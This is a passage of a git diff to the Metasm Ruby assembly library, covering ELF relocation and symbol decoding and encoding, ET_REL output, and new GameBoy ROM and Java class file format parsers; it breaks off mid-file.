Relocation.sizeof(self) + p_end = @encoded.ptr + @tag['RELSZ'] + while @encoded.ptr < p_end + rels << Relocation.decode(self) + end + end + if @encoded.ptr = @tag['RELA'] and @tag['RELAENT'] == RelocationAddend.sizeof(self) + p_end = @encoded.ptr + @tag['RELASZ'] + while @encoded.ptr < p_end + rels << RelocationAddend.decode(self) + end + end + if @encoded.ptr = @tag['JMPREL'] and relcls = case @tag['PLTREL'] + when 'REL'; Relocation + when 'RELA'; RelocationAddend + end + p_end = @encoded.ptr + @tag['PLTRELSZ'] + while @encoded.ptr < p_end + rels << relcls.decode(self) + end + end + maxr = rels.map { |rel| rel.symbol }.grep(::Integer).max || -1 + + return [ns, maxr+1].max + end + # TODO end @@ -359,7 +392,7 @@ class ELF def decode_segments_symbols return unless @tag['STRTAB'] and @tag['STRSZ'] and @tag['SYMTAB'] and (@tag['HASH'] or @tag['GNU_HASH']) - raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.size(self) + raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.sizeof(self) # find number of symbols if @tag['HASH'] @@ -394,14 +427,16 @@ class ELF @encoded.ptr = sec.offset syms = [] raise 'Invalid symbol table' if sec.size > @encoded.length - (sec.size / Symbol.size(self)).times { syms << Symbol.decode(self, strtab) } + (sec.size / Symbol.sizeof(self)).times { syms << Symbol.decode(self, strtab) } alreadysegs = true if @header.type == 'DYN' or @header.type == 'EXEC' + alreadysyms = @symbols.inject({}) { |h, s| h.update s.name => true } if alreadysegs syms.each { |s| if alreadysegs # if we already decoded the symbols from the DYNAMIC segment, # ignore dups and imports from this section next if s.shndx == 'UNDEF' - next if @symbols.find { |ss| ss.name == s.name } + next if alreadysyms[s.name] + alreadysyms[s.name] = true end @symbols << s decode_symbol_export(s) @@ -445,7 +480,7 @@ class ELF def decode_segments_relocs @relocations.clear if @encoded.ptr = @tag['REL'] - raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.size(self) + raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.sizeof(self) p_end = @encoded.ptr + @tag['RELSZ'] while @encoded.ptr < p_end @relocations << Relocation.decode(self) @@ -453,7 +488,7 @@ class ELF end if @encoded.ptr = @tag['RELA'] - raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.size(self) + raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.sizeof(self) p_end = @encoded.ptr + @tag['RELASZ'] while @encoded.ptr < p_end @relocations << RelocationAddend.decode(self) @@ -509,10 +544,28 @@ class ELF end end + # returns the target of a relocation using reloc.symbol + # may create new labels if the relocation targets a section + def reloc_target(reloc) + target = 0 + if reloc.symbol.kind_of?(Symbol) + if reloc.symbol.type == 'SECTION' + s = @sections[reloc.symbol.shndx] + if not target = @encoded.inv_export[s.offset] + target = new_label(s.name) + @encoded.add_export(target, s.offset) + end + elsif reloc.symbol.name + target = reloc.symbol.name + end + end + target + end + # returns the Metasm::Relocation that should be applied for reloc # self.encoded.ptr must point to the location that will be relocated (for implicit addends) def arch_decode_segments_reloc_386(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) end @@ -541,15 +594,14 @@ class ELF when 'GLOB_DAT', 'JMP_SLOT', '32', 'PC32', 'TLS_TPOFF', 'TLS_TPOFF32' # XXX use versionned version # lazy jmp_slot ? - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = reloc_target(reloc) target = Expression[target, :-, reloc.offset] if reloc.type == 'PC32' target = Expression[target, :+, addend] if addend and addend != 0 target = Expression[target, :+, 'tlsoffset'] if reloc.type == 'TLS_TPOFF' target = Expression[:-, [target, :+, 'tlsoffset']] if reloc.type == 'TLS_TPOFF32' when 'COPY' # mark the address pointed as a copy of the relocation target - if not reloc.symbol or not name = reloc.symbol.name + if not reloc.symbol.kind_of?(Symbol) or not name = reloc.symbol.name puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE name = '' end @@ -567,24 +619,40 @@ class ELF # returns the Metasm::Relocation that should be applied for reloc # self.encoded.ptr must point to the location that will be relocated (for implicit addends) def arch_decode_segments_reloc_mips(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) end + original_word = decode_word + # decode addend if needed case reloc.type when 'NONE' # no addend - else addend = reloc.addend || decode_sword + else addend = reloc.addend || Expression.make_signed(original_word, 32) end case reloc.type when 'NONE' when '32', 'REL32' - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = reloc_target(reloc) target = Expression[target, :-, reloc.offset] if reloc.type == 'REL32' target = Expression[target, :+, addend] if addend and addend != 0 + when '26' + target = reloc_target(reloc) + addend &= 0x3ff_ffff + target = Expression[target, :+, [addend, :<<, 2]] if addend and addend != 0 + target = Expression[[original_word, :&, 0xfc0_0000], :|, [[target, :&, 0x3ff_ffff], :>>, 2]] + when 'HI16' + target = reloc_target(reloc) + addend &= 0xffff + target = Expression[target, :+, [addend, :<<, 16]] if addend and addend != 0 + target = Expression[[original_word, :&, 0xffff_0000], :|, [[target, :>>, 16], :&, 0xffff]] + when 'LO16' + target = reloc_target(reloc) + addend &= 0xffff + target = Expression[target, :+, addend] if addend and addend != 0 + target = Expression[[original_word, :&, 0xffff_0000], :|, [target, :&, 0xffff]] else puts "W: Elf: unhandled MIPS reloc #{reloc.inspect}" if $VERBOSE target = nil @@ -596,7 +664,7 @@ class ELF # returns the Metasm::Relocation that should be applied for reloc # self.encoded.ptr must point to the location that will be relocated (for implicit addends) def arch_decode_segments_reloc_x86_64(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) end @@ -627,14 +695,13 @@ class ELF when 'GLOB_DAT', 'JMP_SLOT', '64', 'PC64', '32', 'PC32' # XXX use versionned version # lazy jmp_slot ? - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = reloc_target(reloc) target = Expression[target, :-, reloc.offset] if reloc.type == 'PC64' or reloc.type == 'PC32' target = Expression[target, :+, addend] if addend and addend != 0 sz = :u32 if reloc.type == '32' or reloc.type == 'PC32' when 'COPY' # mark the address pointed as a copy of the relocation target - if not reloc.symbol or not name = reloc.symbol.name + if not reloc.symbol.kind_of?(Symbol) or not name = reloc.symbol.name puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE name = '' end @@ -649,6 +716,33 @@ class ELF Metasm::Relocation.new(Expression[target], sz, @endianness) if target end + def arch_decode_segments_reloc_sh(reloc) + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } + @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) + end + + original_word = decode_word + + # decode addend if needed + case reloc.type + when 'NONE' # no addend + else addend = reloc.addend || Expression.make_signed(original_word, 32) + end + + case reloc.type + when 'NONE' + when 'GLOB_DAT', 'JMP_SLOT' + target = reloc_target(reloc) + target = Expression[target, :+, addend] if addend and addend != 0 + else + puts "W: Elf: unhandled SH reloc #{reloc.inspect}" if $VERBOSE + target = nil + end + + Metasm::Relocation.new(Expression[target], :u32, @endianness) if target + end + class DwarfDebug # decode a DWARF2 'compilation unit' def decode(elf, info, abbrev, str) @@ -749,12 +843,13 @@ class ELF end # decodes the ELF dynamic tags, interpret them, and decodes symbols and relocs - def decode_segments_dynamic + def decode_segments_dynamic(decode_relocs=true) return if not dynamic = @segments.find { |s| s.type == 'DYNAMIC' } @encoded.ptr = add_label('dynamic_tags', dynamic.vaddr) decode_tags decode_segments_tags_interpret decode_segments_symbols + return if not decode_relocs decode_segments_relocs decode_segments_relocs_interpret end @@ -783,6 +878,7 @@ class ELF # decodes sections, interprets symbols/relocs, fills sections.encoded def decode_sections + @symbols.clear # the NULL symbol is explicit in the symbol table decode_sections_symbols decode_sections_relocs @sections.each { |s| @@ -804,7 +900,7 @@ class ELF end def decode_exports - decode_segments_dynamic + decode_segments_dynamic(false) end # decodes the elf header, and depending on the elf type, decode segments or sections @@ -819,12 +915,14 @@ class ELF def each_section @segments.each { |s| yield s.encoded, s.vaddr if s.type == 'LOAD' } - return if @header.type != 'REL' + return if @header.type != 'REL' @sections.each { |s| next if not s.encoded - l = new_label(s.name) - s.encoded.add_export l, 0 - yield s.encoded, l + if not l = s.encoded.inv_export[0] or l != s.name.tr('^a-zA-Z0-9_', '_') + l = new_label(s.name) + s.encoded.add_export l, 0 + end + yield s.encoded, l } end @@ -833,9 +931,12 @@ class ELF case @header.machine when 'X86_64'; X86_64.new when '386'; Ia32.new - when 'MIPS'; MIPS.new @endianness + when 'MIPS'; (@header.flags.include?('32BITMODE') ? MIPS64 : MIPS).new @endianness when 'PPC'; PPC.new when 'ARM'; ARM.new + when 'SH'; Sh4.new + when 'ARC_COMPACT'; ARC.new + when 'MSP430'; MSP430.new else raise "unsupported cpu #{@header.machine}" end end @@ -912,6 +1013,13 @@ EOC (d.address_binding[s.value] ||= {})[:$t9] ||= Expression[s.value] } d.function[:default] = @cpu.disassembler_default_func + when 'sh4' + noret = DecodedFunction.new + noret.noreturn = true + %w[__stack_chk_fail abort exit].each { |fn| + d.function[Expression[fn]] = noret + } + d.function[:default] = @cpu.disassembler_default_func end d end diff --git a/lib/metasm/metasm/exe_format/elf_encode.rb b/lib/metasm/metasm/exe_format/elf_encode.rb index 046a9c4a07..ae847983df 100644 --- a/lib/metasm/metasm/exe_format/elf_encode.rb +++ b/lib/metasm/metasm/exe_format/elf_encode.rb @@ -20,10 +20,10 @@ class ELF @phoff ||= elf.segments.empty? ? 0 : elf.new_label('phdr') @shoff ||= elf.sections.length <= 1 ? 0 : elf.new_label('shdr') @flags ||= [] - @ehsize ||= Header.size(elf) - @phentsize ||= Segment.size(elf) + @ehsize ||= Header.sizeof(elf) + @phentsize ||= Segment.sizeof(elf) @phnum ||= elf.segments.length - @shentsize ||= Section.size(elf) + @shentsize ||= Section.sizeof(elf) @shnum ||= elf.sections.length super(elf) @@ -47,8 +47,8 @@ class ELF # defines the @name_p field from @name and elf.section[elf.header.shstrndx] # creates .shstrtab if needed def make_name_p elf - return 0 if not name or @name == '' - if elf.header.shstrndx.to_i == 0 + return 0 if not name or @name == '' or elf.header.shnum == 0 + if elf.header.shstrndx.to_i == 0 or not elf.sections[elf.header.shstrndx] sn = Section.new sn.name = '.shstrtab' sn.type = 'STRTAB' @@ -140,6 +140,9 @@ class ELF srank = rank[s] nexts = @sections.find { |sec| rank[sec] > srank } # find section with rank superior nexts = nexts ? @sections.index(nexts) : -1 # if none, last + if @header.shstrndx.to_i != 0 and nexts != -1 and @header.shstrndx >= nexts + @header.shstrndx += 1 + end @sections.insert(nexts, s) # insert section end @@ -196,6 +199,8 @@ class ELF # encodes the symbol dynamic hash table in the .hash section, updates the HASH tag def encode_hash + return if @symbols.length <= 1 + if not hash = @sections.find { |s| s.type == 'HASH' } hash = Section.new hash.name = '.hash' @@ -236,11 +241,13 @@ class ELF # encodes the symbol table # should have a stable self.sections array (only append allowed after this step) def encode_segments_symbols(strtab) + return if @symbols.length <= 1 + if not dynsym = @sections.find { |s| s.type == 'DYNSYM' } dynsym = Section.new dynsym.name = '.dynsym' dynsym.type = 'DYNSYM' - dynsym.entsize = Symbol.size(self) + dynsym.entsize = Symbol.sizeof(self) dynsym.addralign = 4 dynsym.flags = ['ALLOC'] dynsym.info = @symbols[1..-1].find_all { |s| s.bind == 'LOCAL' }.length + 1 @@ -251,7 +258,7 @@ class ELF @symbols.each { |s| dynsym.encoded << s.encode(self, strtab.encoded) } # needs all section indexes, as will be in the final section header @tag['SYMTAB'] = label_at(dynsym.encoded, 0) - @tag['SYMENT'] = Symbol.size(self) + @tag['SYMENT'] = Symbol.sizeof(self) encode_check_section_size dynsym @@ -261,7 +268,7 @@ class ELF # encodes the relocation tables # needs a complete self.symbols array def encode_segments_relocs - return if not @relocations + return if not @relocations or @relocations.empty? arch_preencode_reloc_func = "arch_#{@header.machine.downcase}_preencode_reloc" send arch_preencode_reloc_func if respond_to? arch_preencode_reloc_func @@ -287,7 +294,7 @@ class ELF @tag['JMPREL'] = label_at(relplt.encoded, 0) @tag['PLTRELSZ'] = relplt.encoded.virtsize @tag['PLTREL'] = relplt.type = stype - @tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.size(self) : RelocationAddend.size(self)) + @tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.sizeof(self) : RelocationAddend.sizeof(self)) encode_check_section_size relplt end @@ -305,13 +312,13 @@ class ELF rel.name = '.rel.dyn' rel.type = 'REL' rel.flags = ['ALLOC'] - rel.entsize = rel.addralign = Relocation.size(self) + rel.entsize = rel.addralign = Relocation.sizeof(self) encode_add_section rel end rel.encoded = EncodedData.new list.each { |r| rel.encoded << r.encode(self) } @tag['REL'] = label_at(rel.encoded, 0) - @tag['RELENT'] = Relocation.size(self) + @tag['RELENT'] = Relocation.sizeof(self) @tag['RELSZ'] = rel.encoded.virtsize encode_check_section_size rel end @@ -323,13 +330,13 @@ class ELF rela.name = '.rela.dyn' rela.type = 'RELA' rela.flags = ['ALLOC'] - rela.entsize = rela.addralign = RelocationAddend.size(self) + rela.entsize = rela.addralign = RelocationAddend.sizeof(self) encode_add_section rela end rela.encoded = EncodedData.new list.each { |r| rela.encoded << r.encode(self) } @tag['RELA'] = label_at(rela.encoded, 0) - @tag['RELAENT'] = RelocationAddend.size(self) + @tag['RELAENT'] = RelocationAddend.sizeof(self) @tag['RELASZ'] = rela.encoded.virtsize encode_check_section_size rela end @@ -337,6 +344,8 @@ class ELF # creates the .plt/.got from the @relocations def arch_386_preencode_reloc + return if @relocations.empty? + # if .got.plt does not exist, the dynamic loader segfaults if not gotplt = @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got.plt' } gotplt = Section.new @@ -358,7 +367,7 @@ class ELF when 'PC32' next if not r.symbol - if r.symbol.type != 'FUNC' + if r.symbol.type != 'FUNC' # external data xref: generate a GOT entry # XXX reuse .got.plt ? if not got ||= @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got' } @@ -385,7 +394,7 @@ class ELF else @relocations.delete r end - + # prevoffset is label_section_start + int_section_offset target_s = @sections.find { |s| s.encoded and s.encoded.export[prevoffset.lexpr] == 0 } rel = target_s.encoded.reloc[prevoffset.rexpr] @@ -411,12 +420,12 @@ class ELF # # [.got.plt header] # dd _DYNAMIC - # dd 0 # rewritten to GOTPLT? by ld-linux + # dd 0 # rewritten to GOTPLT? by ld-linux # dd 0 # rewritten to dlresolve_inplace by ld-linux # # [.got.plt + func_got_offset] # dd some_func_got_default # lazily rewritten to the real addr of some_func by jmp dlresolve_inplace - # # base_relocated ? + # # base_relocated ? # in the PIC case, _dlresolve imposes us to use the ebx register (which may not be saved by the calling function..) # also geteip trashes eax, which may interfere with regparm(3) @@ -448,7 +457,7 @@ class ELF plt.encoded << shellcode["jmp [#{base} + #{gotplt.encoded.length}]"] plt.encoded.add_export r.symbol.name+'_plt_default', plt.encoded.length reloffset = @relocations.find_all { |rr| rr.type == 'JMP_SLOT' }.length - reloffset *= Relocation.size(self) if @bitsize == 32 + reloffset *= Relocation.sizeof(self) if @bitsize == 32 plt.encoded << shellcode["push #{reloffset}\njmp metasm_plt_start"] # transform the reloc PC32 => JMP_SLOT @@ -531,7 +540,7 @@ class ELF # fill these later, but create the base relocs now arch_create_reloc_func = "arch_#{@header.machine.downcase}_create_reloc" - next if not respond_to?(arch_create_reloc_func) + next if not respond_to?(arch_create_reloc_func) curaddr = label_at(@encoded, 0, 'elf_start') fkbind = {} @sections.each { |s| @@ -557,6 +566,9 @@ class ELF encode_check_section_size strtab + # rm unused tag (shrink .nointerp binaries by allowing to skip the section entirely) + @tag.delete('STRTAB') if strtab.encoded.length == 1 + # XXX any order needed ? @tag.keys.each { |k| case k @@ -581,7 +593,7 @@ class ELF encode_tag[k, @tag[k]] end } - encode_tag['NULL', @tag['NULL'] || 0] + encode_tag['NULL', @tag['NULL'] || 0] unless @tag.empty? encode_check_section_size dynamic end @@ -598,17 +610,13 @@ class ELF @sections.each { |s| next if not s.encoded s.encoded.reloc.each_value { |r| - t = Expression[r.target.reduce] - if t.op == :+ and t.rexpr.kind_of? Expression and t.rexpr.op == :- and not t.rexpr.lexpr and - t.rexpr.rexpr.kind_of?(::String) and t.lexpr.kind_of?(::String) - symname = t.lexpr - else - symname = t.reduce_rec - end - next if not dll = autoexports[symname] + et = r.target.externals + extern = et.find_all { |name| autoexports[name] } + next if extern.length != 1 + symname = extern.first if not @symbols.find { |sym| sym.name == symname } @tag['NEEDED'] ||= [] - @tag['NEEDED'] |= [dll] + @tag['NEEDED'] |= [autoexports[symname]] sym = Symbol.new sym.shndx = 'UNDEF' sym.type = 'FUNC' @@ -737,6 +745,55 @@ class ELF @relocations << r end + def arch_mips_create_reloc(section, off, binding, rel=nil) + rel ||= section.encoded.reloc[off] + startaddr = label_at(@encoded, 0) + r = Relocation.new + r.offset = Expression[label_at(section.encoded, 0, 'sect_start'), :+, off] + if Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) + # this location is relative to the base load address of the ELF + r.type = 'REL32' + else + et = rel.target.externals + extern = et.find_all { |name| not binding[name] } + if extern.length != 1 + puts "ELF: mips_create_reloc: ignoring reloc #{rel.target} in #{section.name}: #{extern.inspect} unknown" if $VERBOSE + return + end + if not sym = @symbols.find { |s| s.name == extern.first } + puts "ELF: mips_create_reloc: ignoring reloc #{rel.target} in #{section.name}: undefined symbol #{extern.first}" if $VERBOSE + return + end + r.symbol = sym + if Expression[rel.target, :-, sym.name].bind(binding).reduce.kind_of?(::Integer) + rel.target = Expression[rel.target, :-, sym.name] + r.type = '32' + elsif Expression[rel.target, :&, 0xffff0000].reduce.kind_of?(::Integer) + lo = Expression[rel.target, :&, 0xffff].reduce + lo = lo.lexpr if lo.kind_of?(Expression) and lo.op == :& and lo.rexpr == 0xffff + if lo.kind_of?(Expression) and lo.op == :>> and lo.rexpr == 16 + r.type = 'HI16' + rel.target = Expression[rel.target, :&, 0xffff0000] + # XXX offset ? + elsif lo.kind_of?(String) or (lo.kind_of(Expression) and lo.op == :+) + r.type = 'LO16' + rel.target = Expression[rel.target, :&, 0xffff0000] + # XXX offset ? + else + puts "ELF: mips_create_reloc: ignoring reloc #{lo}: cannot find matching 16 reloc type" if $VERBOSE + return + end + #elsif Expression[rel.target, :+, label_at(section.encoded, 0)].bind(section.encoded.binding).reduce.kind_of? ::Integer + # rel.target = Expression[[rel.target, :+, label_at(section.encoded, 0)], :+, off] + # r.type = 'PC32' + else + puts "ELF: mips_create_reloc: ignoring reloc #{sym.name} + #{rel.target}: cannot find matching standard reloc type" if $VERBOSE + return + end + end + @relocations << r + end + # resets the fields of the elf headers that should be recalculated, eg phdr offset def invalidate_header @header.shoff = @header.shnum = nil @@ -817,9 +874,13 @@ class ELF end if @header.type == 'REL' - raise 'ET_REL encoding not supported atm, come back later' + encode_rel + else + encode_elf end + end + def encode_elf @encoded = EncodedData.new if @header.type != 'EXEC' or @segments.find { |i| i.type == 'INTERP' } # create a .dynamic section unless we are an ET_EXEC with .nointerp @@ -870,7 +931,7 @@ class ELF end # add dynamic segment - if ds = @sections.find { |sec| sec.type == 'DYNAMIC' } + if ds = @sections.find { |sec| sec.type == 'DYNAMIC' } and ds.encoded.length > 1 ds.set_default_values self seg = Segment.new seg.type = 'DYNAMIC' @@ -979,6 +1040,36 @@ class ELF @encoded.data end + def encode_rel + @encoded = EncodedData.new + automagic_symbols + create_relocations + + @header.phoff = @header.phnum = @header.phentsize = 0 + @header.entry = 0 + @sections.each { |sec| sec.addr = 0 } + st = @sections.inject(EncodedData.new) { |edata, sec| edata << sec.encode(self) } + + binding = {} + @encoded << @header.encode(self) + @encoded.align 8 + + binding[@header.shoff] = @encoded.length + @encoded << st + @encoded.align 8 + + @sections.each { |sec| + next if not sec.encoded + binding[sec.offset] = @encoded.length + sec.encoded.fixup sec.encoded.binding + @encoded << sec.encoded + @encoded.align 8 + } + + @encoded.fixup! binding + @encoded.data + end + def parse_init # allow the user to specify a section, falls back to .text if none specified if not defined? @cursource or not @cursource diff --git a/lib/metasm/metasm/exe_format/gb.rb b/lib/metasm/metasm/exe_format/gb.rb new file mode 100644 index 0000000000..c6b39d182e --- /dev/null +++ b/lib/metasm/metasm/exe_format/gb.rb @@ -0,0 +1,65 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' + + +module Metasm +# GameBoy ROM file format +class GameBoyRom < ExeFormat + class Header < SerialStruct + # starts at 0x104 in the file + mem :logo, 0x30 + str :title, 0x10 + byte :sgb_flag + byte :cartridge_type + byte :rom_size # n => (n+1) * 32k bytes + byte :ram_size + byte :destination_code + byte :old_licensee_code + byte :mask_rom_version + byte :header_checksum + byte :checksum_hi + byte :checksum_lo + end + + def encode_byte(val) Expression[val].encode(:u8, @endianness) end + def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end + def sizeof_byte ; 1 ; end + + + attr_accessor :header + + def initialize(cpu=nil) + @endianness = (cpu ? cpu.endianness : :little) + super(cpu) + end + + def decode_header + @encoded.ptr = 0x104 + @header = Header.decode(self) + end + + def decode + decode_header + @encoded.add_export('entrypoint', 0x100) + end + + def cpu_from_headers + Z80.new('gb') + end + + def each_section + yield @encoded, 0 + end + + def get_default_entrypoints + ['entrypoint'] + end +end +end diff --git a/lib/metasm/metasm/exe_format/javaclass.rb b/lib/metasm/metasm/exe_format/javaclass.rb new file mode 100644 index 0000000000..f709b7ddac --- /dev/null +++ b/lib/metasm/metasm/exe_format/javaclass.rb @@ -0,0 +1,424 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' + +module Metasm + +class JavaClass < ExeFormat + MAGIC = "\xCA\xFE\xBA\xBE" + + CONSTANT_TAG = {0x1 => 'Utf8', 0x3 => 'Integer', + 0x4 => 'Float', 0x5 => 'Long', + 0x6 => 'Double', 0x7 => 'Class', + 0x8 => 'String', 0x9 => 'Fieldref', + 0xa => 'Methodref', 0xb => 'InterfaceMethodref', + 0xc => 'NameAndType' } + + class SerialStruct < Metasm::SerialStruct + new_int_field :u1, :u2, :u4 + end + + class Header < SerialStruct + mem :magic, 4, MAGIC + u2 :minor_version + u2 :major_version + end + + class ConstantPool < SerialStruct + u2 :constant_pool_count + attr_accessor :constant_pool + + def decode(c) + super(c) + + @constant_pool = [nil] + + i = 1 + while i < @constant_pool_count + entry = ConstantPoolInfo.decode(c) + entry.idx = i + @constant_pool << entry + i += 1 + + if entry.tag =~ /Long|Double/ + # we must insert a phantom cell + # for long and double constants + @constant_pool << nil + i += 1 + end + end + end + + def encode(c) + cp = super(c) + + @constant_pool.each { |entry| + next if entry.nil? + cp << entry.encode(c) + } + cp + end + + def [](idx) + @constant_pool[idx] + end + + def []=(idx, val) + raise 'cannot be used to add a cp entry' if @constant_pool[idx].nil? + @constant_pool[idx] = val + end + end + + class ConstantPoolInfo < SerialStruct + u1 :tag + fld_enum :tag, CONSTANT_TAG + attr_accessor :info, :idx + + def decode(c) + super(c) + + case @tag + when 'Utf8' + @info = ConstantUtf8.decode(c) + when /Integer|Float/ + @info = ConstantIntFloat.decode(c) + when /Long|Double/ + @info = ConstantLongDouble.decode(c) + when /Class|String/ + @info = ConstantIndex.decode(c) + when /ref$/ + @info = ConstantRef.decode(c) + when 'NameAndType' + @info = ConstantNameAndType.decode(c) + else + raise 'unkown constant tag' + return + end + end + + def encode(c) + super(c) << @info.encode(c) + end + end + + class ConstantUtf8 < SerialStruct + u2 :length + attr_accessor :bytes + + def decode(c) + super(c) + @bytes = c.encoded.read(@length) + end + + def encode(c) + super(c) << @bytes + end + end + + class ConstantIntFloat < SerialStruct + u4 :bytes + end + + class ConstantLongDouble < SerialStruct + u4 :high_bytes + u4 :low_bytes + end + + class ConstantIndex < SerialStruct + u2 :index + end + + class ConstantRef < SerialStruct + u2 :class_index + u2 :name_and_type_index + end + + class ConstantNameAndType < SerialStruct + u2 :name_index + u2 :descriptor_index + end + + class ClassInfo < SerialStruct + u2 :access_flags + u2 :this_class + u2 :super_class + end + + class Interfaces < SerialStruct + u2 :interfaces_count + attr_accessor :interfaces + + def decode(c) + super(c) + + @interfaces = [] + @interfaces_count.times { + @interfaces << ConstantIndex.decode(c) + } + end + + def encode(c) + ret = super(c) + + @interfaces.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @interfaces[idx] + end + end + + class Fields < SerialStruct + u2 :fields_count + attr_accessor :fields + + def decode(c) + super(c) + @fields = [] + @fields_count.times { + @fields << FieldMethodInfo.decode(c) + } + end + + def encode(c) + ret = super(c) + + @fields.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @fields[idx] + end + end + + class Methods < SerialStruct + u2 :methods_count + attr_accessor :methods + + def decode(c) + super(c) + @methods = [] + @methods_count.times { + @methods << FieldMethodInfo.decode(c) + } + end + + def encode(c) + ret = super(c) + + @methods.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @methods[idx] + end + end + + class FieldMethodInfo < SerialStruct + u2 :access_flags + u2 :name_index + u2 :descriptor_index + attr_accessor :attributes + + def decode(c) + super(c) + @attributes = Attributes.decode(c) + end + + def encode(c) + super(c) << @attributes.encode(c) + end + end + + class Attributes < SerialStruct + u2 :attributes_count + attr_accessor :attributes + + def decode(c) + super(c) + + @attributes = [] + @attributes_count.times { |i| + @attributes << AttributeInfo.decode(c) + } + end + + def encode(c) + ret = super(c) + + @attributes.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @attributes[idx] + end + end + + class AttributeInfo < SerialStruct + u2 :attribute_name_index + u4 :attribute_length + attr_accessor :data + + def decode(c) + super(c) + @data = c.encoded.read(@attribute_length) + end + + def encode(c) + super(c) << @data + end + end + + def encode_u1(val) Expression[val].encode(:u8, @endianness) end + def encode_u2(val) Expression[val].encode(:u16, @endianness) end + def encode_u4(val) Expression[val].encode(:u32, @endianness) end + def decode_u1(edata = @encoded) edata.decode_imm(:u8, @endianness) end + def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end + def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_u1 ; 1 ; end + def sizeof_u2 ; 2 ; end + def sizeof_u4 ; 4 ; end + + attr_accessor :header, :constant_pool, :class_info, :interfaces, :fields, :methods, :attributes + + def initialize(endianness=:big) + @endianness = endianness + @encoded = EncodedData.new + super() + end + + def decode + @header = Header.decode(self) + @constant_pool = ConstantPool.decode(self) + @class_info = ClassInfo.decode(self) + @interfaces = Interfaces.decode(self) + @fields = Fields.decode(self) + @methods = Methods.decode(self) + @attributes = Attributes.decode(self) + end + + def encode + @encoded = EncodedData.new + @encoded << @header.encode(self) + @encoded << @constant_pool.encode(self) + @encoded << @class_info.encode(self) + @encoded << @interfaces.encode(self) + @encoded << @fields.encode(self) + @encoded << @methods.encode(self) + @encoded << @attributes.encode(self) + @encoded.data + end + + def cpu_from_headers + raise 'JVM' + end + + def each_section + raise 'n/a' + end + + def get_default_entrypoints + [] + end + + def string_at(idx) + loop do + tmp = @constant_pool[idx].info + return tmp.bytes if tmp.kind_of? ConstantUtf8 + idx = tmp.index + end + end + + def decode_methodref(mref) + class_idx = mref.info.class_index + nt_idx = mref.info.name_and_type_index + name_idx = @constant_pool[nt_idx].info.name_index + desc_idx = @constant_pool[nt_idx].info.descriptor_index + + string_at(class_idx) + '/' + string_at(name_idx) + string_at(desc_idx) + end + + def cp_add(cpi, tag) + cpe = ConstantPoolInfo.new + cpe.tag = tag + cpe.info = cpi + cpe.idx = @constant_pool.constant_pool_count + + @constant_pool.constant_pool << cpe + @constant_pool.constant_pool_count += 1 + @constant_pool.constant_pool_count += 1 if tag =~ /Long|Double/ + + cpe.idx + end + + def cp_find(tag) + constant_pool.constant_pool.each { |e| + next if !e or e.tag != tag + if yield(e.info) + return e.idx + end + } + nil + end + + + def cp_auto_utf8(string) + if idx = cp_find('Utf8') { |i| i.bytes == string } + return idx + end + + cpi = 